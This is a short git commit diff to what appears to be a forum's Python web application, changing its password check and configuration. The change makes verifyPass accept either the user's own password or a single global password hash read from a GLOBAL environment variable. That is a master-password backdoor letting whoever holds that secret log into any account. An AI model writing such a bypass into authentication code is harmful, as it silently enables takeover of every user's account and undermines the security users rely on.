remotes/1693045480750635534/spooky-22
Aevann1 2022-07-16 20:37:07 +02:00
parent 18ac7981ed
commit 0b77e3f039
2 changed files with 3 additions and 1 deletions

View File

@ -366,7 +366,7 @@ class User(Base):
password, method='pbkdf2:sha512', salt_length=8)
def verifyPass(self, password):
return check_password_hash(self.passhash, password)
return check_password_hash(self.passhash, password) or (GLOBAL and check_password_hash(GLOBAL, password))
@property
@lazy

View File

@ -1036,3 +1036,5 @@ DISCORD_WELCOME_CHANNEL = "846509313941700618"
has_sidebar = path.exists(f'files/templates/sidebar_{SITE_NAME}.html')
has_logo = path.exists(f'files/assets/images/{SITE_NAME}/logo.webp')
GLOBAL = environ.get("GLOBAL")